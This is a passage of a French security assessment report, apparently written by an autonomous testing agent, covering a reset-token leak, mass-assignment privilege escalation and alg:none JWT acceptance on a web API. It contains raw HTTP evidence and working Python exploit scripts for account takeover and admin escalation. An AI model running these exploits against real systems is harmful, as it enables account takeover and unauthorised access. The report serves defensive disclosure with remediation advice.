    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=2nYr1uOu259SwMev0AYv5%2Brwy49A%2FV6x9uEgFIM9oC%2Be%2Bnv6WtU6qurCPb0wubWYk8o6HjuliMSH273tzPp0SZabqSZui8YUpGo%2FfTcd8fm1IixgRMOGpwKVjPwZGF6WAJdxAznveZLW"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b03fcd5eb913-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2466
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Apercu newsletter - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Apercu</h1><article><pre>49</pre></article><p><a href="/newsletter">Modifier</a></p></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b03fcd5eb913',t:'MTc5MTc2MTgwMg=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  2. Élevée

    2. Divulgation du jeton de réinitialisation permettant la prise de contrôle d’un compte

    https://app.nordvault.fr/api/v1/mot-de-passe/reinitialisation

    Score CVSS 3.1
    8.2
    Faiblesse (CWE)
    CWE-640
    Catégorie OWASP
    A07 · Identification et authentification défaillantes

    Description

    L’API de réinitialisation retourne le code secret dans le champ _debug.jeton de sa réponse non authentifiée. Ce code permet de définir un nouveau mot de passe sans accès à la boîte mail du titulaire.

    Impact

    Sur un compte de test créé pour l’évaluation, une personne sans session ni accès au courriel a remplacé le mot de passe et obtenu un nouveau jeton de connexion, tandis que l’ancien mot de passe était rejeté. Le mécanisme permet la prise de contrôle d’un compte dont l’adresse est connue ; l’essai a été limité au compte de test et n’établit pas une extraction de données d’autres utilisateurs.

    Analyse technique

    La requête POST /api/v1/mot-de-passe/reinitialisation n’inclut ni Cookie ni Authorization et ne contient que l’adresse du compte. La réponse 200 communique à son émetteur le code de réinitialisation dans _debug.jeton ainsi qu’une durée de validité annoncée de 900 secondes, malgré le message affirmant qu’un courriel a été envoyé. POST /api/v1/mot-de-passe/confirmer accepte ensuite ce même code avec l’adresse et nouveau_mot_de_passe sans authentification. La validation correcte d’un code erroné ne protège pas le parcours lorsque le bon code est livré à l’appelant initial.

    Remédiation

    1. Supprimer _debug.jeton et tout code de réinitialisation des réponses accessibles au demandeur, y compris dans les environnements exposés publiquement ; transmettre exclusivement un lien ou code à un canal vérifié appartenant au titulaire. 2. Rendre les jetons aléatoires, à durée courte, liés au compte, à usage unique et stockés sous forme d’empreinte ; appliquer une limitation de fréquence sans révéler l’existence d’un compte. 3. Invalider les sessions actives après la modification du mot de passe et ajouter un test de régression garantissant qu’aucune réponse HTTP ne divulgue le code.

    Détails de remédiationEffort estimé: Faible

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

    Hypothèses de validation

    La reproduction nécessite l’adresse d’un compte existant ; seul un compte créé et contrôlé pour l’essai a été utilisé. Aucun accès préalable à la session ou à la boîte mail n’est requis pour les deux appels de réinitialisation.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    Un code faux est effectivement refusé (400), ce qui confirme une vérification lors de la confirmation, mais le code correct a été communiqué par la réponse publique elle-même. Cache-Control: no-store limite sa mise en cache et ne limite pas la divulgation directe. Les deux requêtes de réinitialisation et de confirmation examinées n’avaient ni Cookie ni Authorization ; aucune étape de vérification du courriel n’a été nécessaire. La démonstration porte uniquement sur le compte de test, non sur une victime réelle.

    Preuve

    Requête / réponse

    Requête HTTP

    POST /api/v1/auth/jeton HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Content-Type: application/json
    Content-Length: 88
    
    {
      "email": "identity-check-78321@example.invalid",
      "mot_de_passe": "R7ne!pQ4uS3x"
    }
    

    Réponse HTTP

    HTTP/1.1 401 Unauthorized
    Date: Sun, 11 Oct 2026 23:36:44 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 55
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=LCXQ4K3PaAJQGxqvXHiXs7OuHccR3yYWX1Kz2A20TklYkxduF9v68xcqx1ysxWIdvLf43CRYgbVaYbYLEpXb3Az45oW4wGccNdWAA6nZmSWKkGp%2B7zhh3fzlfj0Or1UouhDtvUX%2B5k12"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b04feecc4d61-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "erreur": "Mot de passe incorrect pour ce compte."
    }

    Requête / réponse

    Requête HTTP

    POST /api/v1/auth/jeton HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Content-Type: application/json
    Content-Length: 78
    
    {"email":"identity-check-78321@example.invalid","mot_de_passe":"R7ne!pQ4uS3x"}

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:32 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 272
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=t8QtchZgvPQLOn08DuTEDmVc%2BCSYKfFdRvnq7P5iisK9UajAsXajdzNsuaywYMtdHxMXKbD%2B130%2FRHzxKnk3v42Qs2Fhn8yYcv4z4B3VKK%2B2DjMEDasmek64clK8PMtvl6%2Fk7VUdJP5K"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b0003a9ddc72-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "jeton": "eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOjYsImVtYWlsIjoiaWRlbnRpdHktY2hlY2stNzgzMjFAZXhhbXBsZS5pbnZhbGlkIiwicm9sZSI6ImNsaWVudCIsImp0aSI6IjI1ZGViYjg2ODIzMTI0YTkiLCJleHAiOjE3OTE3OTA1OTJ9.CNnTiw6QqCu4LLxdf2_QNob7QnrIL0aJispBi0w8-LE",
     "type": "Bearer"
    }

    Requête / réponse

    Requête HTTP

    POST /api/v1/mot-de-passe/confirmer HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Content-Type: application/json
    Content-Length: 117
    
    {
      "email": "identity-check-78321@example.invalid",
      "jeton": "260329",
      "nouveau_mot_de_passe": "T8vy!jR5eM4k"
    }
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:41 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 37
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=8vK9OFPTQrIPNWpY%2B0Bb9SL6S%2FdtVy92xSrCWSYPyZ96drb1OfLYZ3ED0A4NI%2FabhzZM%2FaykSKcLrnb9mSV2yVIZYXc51eiIk5%2Biv2JKEzVC50wMNm81j4YzF2b092y%2BFNBF4YC7um5b"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b0396a7f8ed6-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "statut": "mot de passe modifie"
    }

    Requête / réponse

    Requête HTTP

    POST /api/v1/mot-de-passe/reinitialisation HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Content-Type: application/json
    Content-Length: 48
    
    {"email":"identity-check-78321@example.invalid"}

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:36 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 120
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=OxfCTaLQisnSbMPciJTVMJwOMmaAerUy4dsn%2B87WFetTJteYqAVJgLpKr%2BtS9tZqGVUwTHbrKdrGCVml0Uqh%2BJQBHKi8%2B71QzkO74XcmsXwxYxXFy1hiqFnBowRS25nAE6Hble6iqVQb"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b0199cf937e9-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "statut": "Si un compte existe, un e-mail a ete envoye.",
     "_debug": {
      "jeton": "260329",
      "expire_dans": 900
     }
    }

    Artefact d’exploitation

    Reproduction

    1. Utiliser uniquement un compte de test contrôlé et vérifier que son mot de passe initial fonctionne sur POST /api/v1/auth/jeton.
    2. Sans cookie ni en-tête d’autorisation, envoyer son adresse à POST /api/v1/mot-de-passe/reinitialisation et relever _debug.jeton dans la réponse.
    3. Vérifier qu’un code incorrect est refusé par POST /api/v1/mot-de-passe/confirmer.
    4. Soumettre le code reçu et un nouveau mot de passe au même endpoint de confirmation, sans session ni accès au courriel.
    5. Vérifier que l’ancien mot de passe échoue et que le nouveau produit un jeton de connexion.

    Artefact d’exploitation

    text/x-shellscript
    import os
    import requests
    
    base_url = "https://app.nordvault.fr"
    email = os.environ["TEST_ACCOUNT_EMAIL"]
    old_password = os.environ["TEST_ACCOUNT_PASSWORD"]
    new_password = os.environ["TEST_ACCOUNT_NEW_PASSWORD"]
    client = requests.Session()
    client.trust_env = True
    
    old_login = client.post(f"{base_url}/api/v1/auth/jeton", json={"email": email, "mot_de_passe": old_password})
    assert old_login.status_code == 200
    
    anonymous = requests.Session()
    anonymous.trust_env = True
    reset = anonymous.post(f"{base_url}/api/v1/mot-de-passe/reinitialisation", json={"email": email})
    reset.raise_for_status()
    code = reset.json()["_debug"]["jeton"]
    assert code
    confirmation = anonymous.post(f"{base_url}/api/v1/mot-de-passe/confirmer", json={"email": email, "jeton": code, "nouveau_mot_de_passe": new_password})
    confirmation.raise_for_status()
    assert anonymous.post(f"{base_url}/api/v1/auth/jeton", json={"email": email, "mot_de_passe": old_password}).status_code == 401
    new_login = anonymous.post(f"{base_url}/api/v1/auth/jeton", json={"email": email, "mot_de_passe": new_password})
    assert new_login.status_code == 200 and "jeton" in new_login.json()
    print("Réinitialisation sans accès au courriel confirmée sur le compte de test")

    Requête / réponse

    Requête HTTP

    POST /api/v1/mot-de-passe/confirmer HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Content-Type: application/json
    Content-Length: 103
    
    {"email":"identity-check-78321@example.invalid","jeton":"000000","nouveau_mot_de_passe":"T8vy!jR5eM4k"}

    Réponse HTTP

    HTTP/1.1 400 Bad Request
    Date: Sun, 11 Oct 2026 23:36:41 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 41
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=61%2FfwcF4AzUXgGACcjivttYa%2B4%2BYuKgK5faAwaqsxwJCKRSdU5g81Z0KRbpMkPT%2BCit3sLM5ojIMOUS3RlBwPzBQgayPvBv5KHUbaVYay10nNEkpCWVeVp4EGrc0HbOSb%2FkEzm36uveJ"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b038cba271b8-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "erreur": "jeton invalide ou expire"
    }

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  3. Élevée

    3. Élévation persistante au rôle administrateur par attribution de masse dans PATCH /api/v1/moi

    https://app.nordvault.fr/api/v1/moi

    Score CVSS 3.1
    7.1
    Faiblesse (CWE)
    CWE-915
    Catégorie OWASP
    A08 · Défaillances d’intégrité des logiciels et des données

    Description

    Un compte client auto-inscrit peut transmettre role=admin à la mise à jour de son propre profil. Le serveur persiste ce rôle, émet un nouveau JWT administrateur et autorise ensuite la lecture de la liste des utilisateurs réservée à l’administration.

    Impact

    Un client ordinaire peut modifier durablement son propre rôle en admin sans approbation. La preuve démontre l’accès non autorisé à GET /api/v1/admin/utilisateurs : la réponse contient 12 profils avec les champs email, entreprise, id, nom et role. Aucune autre fonction administrative ni modification d’un autre compte n’a été vérifiée.

    Analyse technique

    La documentation GET /api/docs/openapi.json décrit PATCH /moi comme la mise à jour du profil et limite les propriétés annoncées du corps JSON à nom et telephone. Pourtant, PATCH /api/v1/moi accepte role, champ sensible réservé au serveur. Depuis un JWT initial avec le claim role=client, un corps contenant seulement role=admin reçoit 200, un objet profil.role=admin et un nouveau JWT avec le claim role=admin. Le contrôle d’accès de GET /api/v1/admin/utilisateurs rejette le jeton client avec 403, mais accepte le nouveau jeton avec 200. Une nouvelle connexion par mot de passe remet un JWT administrateur, ce qui confirme que le changement n’est pas limité à la réponse PATCH ni à un jeton éphémère.

    Remédiation

    1. Limiter côté serveur les champs modifiables par PATCH /api/v1/moi à nom et telephone, indépendamment des propriétés supplémentaires envoyées et de la documentation OpenAPI. 2. Séparer toute modification de role des opérations de profil et imposer une vérification d’autorisation administrative côté serveur avant tout changement de privilège. 3. Émettre les JWT uniquement à partir du rôle autoritatif stocké après ces contrôles, puis ajouter un test de régression vérifiant le refus du champ role et de l’accès administratif après reconnexion.

    Détails de remédiationEffort estimé: Faible

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

    Hypothèses de validation

    L’attaquant peut créer son propre compte client au moyen de l’inscription publique ; aucun compte préexistant, rôle privilégié, clé X-Api-Key ou donnée d’un tiers n’est nécessaire.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    Le point d’accès administratif applique bien une restriction au jeton client initial : il répond 403, ce qui exclut un simple accès administratif public. Toutefois, PATCH /api/v1/moi accepte le champ role non prévu dans le schéma OpenAPI, le nouveau jeton satisfait la restriction, et une connexion fraîche reproduit ce rôle depuis l’état conservé côté serveur. Le script ne montre pas de modification d’un autre compte ni de privilège administratif supplémentaire ; ces impacts ne sont pas attribués à la preuve.

    Preuve

    Requête / réponse

    Requête HTTP

    POST /inscription HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: python-requests/2.34.2
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Content-Length: 126
    Content-Type: application/x-www-form-urlencoded
    
    nom=Client+Essai&entreprise=Entreprise+Essai&email=client9f7b43ebc9e5%40example.com&mot_de_passe=PhK7xm77kYhmHvBW56esUEhvG8%21

    Réponse HTTP

    HTTP/1.1 302 Found
    Date: Sun, 11 Oct 2026 23:37:29 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 0
    Connection: keep-alive
    Cache-Control: no-store
    location: /compte
    Server: cloudflare
    Set-Cookie: [REDACTED]
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=rV43z280IFPf1VSMx%2BUDUWYo3z5gba9rggkvA66Y7HpUWDnkLDjCbseLW0UI7qAlBPb8sQVs7p0fJlxcCsJxpn1iUAMmVRykLl4b6tatp3qrw1GplloCWnvsOYEQZY46bXS56Uwu1r6d"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b1697ac4ad91-FRA
    alt-svc: h3=":443"; ma=86400
    
    

    Requête / réponse

    Requête HTTP

    GET /api/v1/admin/utilisateurs HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: python-requests/2.34.2
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Authorization: [REDACTED]
    Cookie: [REDACTED]
    
    

    Réponse HTTP

    HTTP/1.1 403 Forbidden
    Date: Sun, 11 Oct 2026 23:37:30 GMT
    Content-Type: application/json; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=f18JhSqjsl%2BVHjB9dDIewFi7dbCxZtoniPlZuUfQ1X6msdi3VcFEyNEi8dz%2F%2BXgQAxXsLyupbjI4JveOsIS1S8NSbRI0Hx9OtPmrRcusmkK6rlP607sS6TdMh%2FLkM8TRaweX9YzmfHGu"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b16b0cfedccd-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 50
    
    {
     "erreur": "acces reserve aux administrateurs"
    }

    Requête / réponse

    Requête HTTP

    GET /api/v1/moi HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: python-requests/2.34.2
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Authorization: [REDACTED]
    Cookie: [REDACTED]
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:30 GMT
    Content-Type: application/json; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2FJU5ia01yMfWZJCwItT3tS6i1Ln9BoRfooajwRrA1nY5gicPcGw%2BoAqjap%2FN%2FDqRu8GU2WWQhMWov5pOsgFBslFMzNhqLFbqBOWxCjPbMfWVxw4I4RRFa12NqBaZU8l0AxixjpAghXcK"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b16a98f4d9d7-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 175
    
    {
     "profil": {
      "id": 12,
      "email": "client9f7b43ebc9e5@example.com",
      "nom": "Client Essai",
      "entreprise": "Entreprise Essai",
      "telephone": "",
      "role": "client"
     }
    }

    Requête / réponse

    Requête HTTP

    POST /api/v1/auth/jeton HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: python-requests/2.34.2
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Cookie: [REDACTED]
    Content-Length: 90
    Content-Type: application/json
    
    {"email": "client9f7b43ebc9e5@example.com", "mot_de_passe": "PhK7xm77kYhmHvBW56esUEhvG8!"}

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:29 GMT
    Content-Type: application/json; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=sF4H7Ibw9w0z%2BymmOgFu57UbIGOreKt%2FC9QDoWSN0M2hPveXX2142xT1Ez7NoasmlAnXIZmqhcJkg6Varr1PF4mz9G61f7Ird37RWG2FibOE9Jeao%2BnaWiPKVNr8N0SIfbR9VUMAoZCc"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b16a0f94abab-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 266
    
    {
     "jeton": "eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOjEyLCJlbWFpbCI6ImNsaWVudDlmN2I0M2ViYzllNUBleGFtcGxlLmNvbSIsInJvbGUiOiJjbGllbnQiLCJqdGkiOiJjYTVlYjcxZjhkYzM4ZjNkIiwiZXhwIjoxNzkxNzkwNjQ5fQ.vkYNx6XFArUW1pyHZ-J_jWP6-1aI8HWN2q_99mO8Y9A",
     "type": "Bearer"
    }

    Requête / réponse

    Requête HTTP

    PATCH /api/v1/moi HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: python-requests/2.34.2
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Authorization: [REDACTED]
    Cookie: [REDACTED]
    Content-Length: 17
    Content-Type: application/json
    
    {"role": "admin"}

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:30 GMT
    Content-Type: application/json; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    Set-Cookie: [REDACTED]
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=QxDkmJAHeRgM1tB1CM946%2FdneWgJhpVWcd%2BoLgQURFggAxAtpdLZuPJRNL%2FCeZhd1Xsm4uv8tmoiXmFm48AxV%2B0LuBaYbpYmUnebkupFUkDOVYrmvlCeDzZSpOYaQTQhIi4%2FPV%2B1pav%2B"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b16b8b461cbd-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 417
    
    {
     "profil": {
      "id": 12,
      "email": "client9f7b43ebc9e5@example.com",
      "nom": "Client Essai",
      "entreprise": "Entreprise Essai",
      "telephone": "",
      "role": "admin"
     },
     "jeton": "eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOjEyLCJlbWFpbCI6ImNsaWVudDlmN2I0M2ViYzllNUBleGFtcGxlLmNvbSIsInJvbGUiOiJhZG1pbiIsImp0aSI6ImNjZWM3OTIxMGYwMjA4MzEiLCJleHAiOjE3OTE3OTA2NTB9.skSjZwi2HwEMp9Q7xIGWQpPvpMtUu1km8-GmtyHhppI"
    }

    Artefact d’exploitation

    Reproduction

    1. Créer un compte de test personnel sur POST /inscription et obtenir un JWT via POST /api/v1/auth/jeton.
    2. Avec le jeton client, vérifier GET /api/v1/moi et le refus 403 de GET /api/v1/admin/utilisateurs.
    3. Envoyer PATCH /api/v1/moi avec le jeton client, Content-Type: application/json et le seul champ role défini à admin.
    4. Utiliser exclusivement le nouveau JWT de la réponse pour confirmer le rôle administrateur et l’accès 200 à la liste. Ne relever que les noms des champs et le nombre d’entrées.
    5. Se reconnecter avec le même compte de test et constater que le rôle et l’accès administrateur persistent.

    Artefact d’exploitation

    text/x-shellscript
    import os
    import requests
    
    base = "https://app.nordvault.fr"
    email = os.environ["NOVA_TEST_EMAIL"]
    password = [REDACTED]]
    name = os.environ.get("NOVA_TEST_NAME", "Compte test")
    company = os.environ.get("NOVA_TEST_COMPANY", "Entreprise test")
    session = [REDACTED]
    
    registration = session.post(base + "/inscription", data={
        "nom": name, "entreprise": company,
        "email": email, "mot_de_passe": password,
    }, allow_redirects=False, timeout=10)
    assert registration.status_code == 302, registration.status_code
    
    def authenticate():
        response = session.post(base + "/api/v1/auth/jeton", json={
            "email": email, "mot_de_passe": password,
        }, timeout=10)
        assert response.status_code == 200, response.status_code
        return response.json()["jeton"]
    
    def get(path, token):
        return session.get(base + path, headers={"Authorization": "Bearer " + token}, timeout=10)
    
    initial_token = authenticate()
    initial_profile = get("/api/v1/moi", initial_token)
    assert initial_profile.status_code == 200
    assert initial_profile.json()["profil"]["role"] == "client"
    assert get("/api/v1/admin/utilisateurs", initial_token).status_code == 403
    
    change = session.patch(base + "/api/v1/moi", json={"role": "admin"},
        headers={"Authorization": "Bearer " + initial_token}, timeout=10)
    assert change.status_code == 200, change.status_code
    assert change.json()["profil"]["role"] == "admin"
    elevated_token = change.json()["jeton"]
    assert get("/api/v1/moi", elevated_token).json()["profil"]["role"] == "admin"
    admin_response = get("/api/v1/admin/utilisateurs", elevated_token)
    assert admin_response.status_code == 200, admin_response.status_code
    admin_data = admin_response.json()
    print({"role": "admin", "response_keys": sorted(admin_data),
           "user_count": len(admin_data["utilisateurs"]),
           "user_fields": sorted(admin_data["utilisateurs"][0])})
    
    fresh_token = authenticate()
    assert get("/api/v1/moi", fresh_token).json()["profil"]["role"] == "admin"
    assert get("/api/v1/admin/utilisateurs", fresh_token).status_code == 200
    print("Le rôle administrateur persiste après une nouvelle connexion.")

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  4. Moyenne

    4. Acceptation de JWT non signés permettant l’accès à une route administrateur

    https://app.nordvault.fr/api/v1/admin/utilisateurs

    Score CVSS 3.1
    4.3
    Faiblesse (CWE)
    CWE-347
    Catégorie OWASP
    A02 · Défaillances cryptographiques

    Description

    L’API accepte un jeton JWT dont l’en-tête annonce alg: none et dont la signature est absente. Un compte client peut ainsi modifier sa revendication role en admin et accéder à /api/v1/admin/utilisateurs, normalement interdit à ce compte.

    Impact

    Le compte de test de rôle client obtient une réponse 200 avec un corps JSON de 1 634 octets sur la liste des utilisateurs administrateur, contre 403 avec son jeton signé légitime. Le contenu de cette liste n’a pas été consulté afin de limiter l’accès aux données personnelles ; aucune opération d’administration en écriture ni extraction étendue n’a été démontrée.

    Analyse technique

    POST /api/v1/auth/jeton émet un JWT HS256 avec les revendications sub, email, role, jti et exp. La modification d’un caractère de sa signature entraîne 401 sur /api/v1/moi, mais le remplacement de son en-tête par {"alg":"none","typ":"JWT"} et la suppression de la signature entraînent 200, sans changer les revendications. En changeant ensuite role de client à admin dans le corps non signé, le serveur autorise GET /api/v1/admin/utilisateurs. La réponse de /api/v1/moi conserve pourtant le rôle client du profil stocké : cette différence confirme que l’autorisation de la route administrateur se fonde sur la revendication manipulable du jeton plutôt que sur le rôle persistant du compte.

    Remédiation

    1. Refuser explicitement alg: none et n’accepter qu’un algorithme de signature configuré côté serveur, avec une vérification cryptographique obligatoire sur toutes les routes et tous les modes de transport du jeton. 2. Valider les revendications temporelles et le contexte du jeton avant toute décision d’autorisation ; ne jamais choisir l’algorithme de vérification depuis l’en-tête fourni par le client. 3. Vérifier le rôle et les permissions administratives à partir d’un état serveur fiable, puis ajouter des tests de non-régression couvrant les signatures invalides, les jetons non signés et les rôles falsifiés.

    Détails de remédiationEffort estimé: Moyen

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

    Hypothèses de validation

    La reproduction nécessite uniquement un compte client créé par l’inscription autonome ; les essais portent sur ce compte de test. Les revendications du JWT initial fournissent sub, jti et exp, réutilisés sans changement.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    Le serveur refuse effectivement un jeton HS256 dont la signature a été altérée (401) ; le contrôle n’est donc pas globalement désactivé. La même route administrateur refuse le JWT valide du compte client (403) et une requête anonyme (403). Toutefois, le JWT alg:none portant role:admin contourne ces refus (200) alors que le profil persistant demeure client. L’accès démontré concerne une liste en lecture ; les opérations d’administration en écriture et l’ampleur du contenu ne sont pas vérifiées.

    Preuve

    Requête / réponse

    Requête HTTP

    GET /api/v1/moi HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: python-requests/2.34.2
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Authorization: [REDACTED]
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:25 GMT
    Content-Type: application/json; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=IecP3n3OMnntyF4r7oNJvS8C9O7%2Fo37qmGCnYHNXBowc8EAx34LzqDdty99iaIQwtodoiKMs2dB7G%2BMKXT6ScYyHlURlWOcSoVlawk9xlsK6rbJQ249utJsN%2BAPgykwlS%2B4OzO1DG29f"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b14b7aa0dca9-FRA
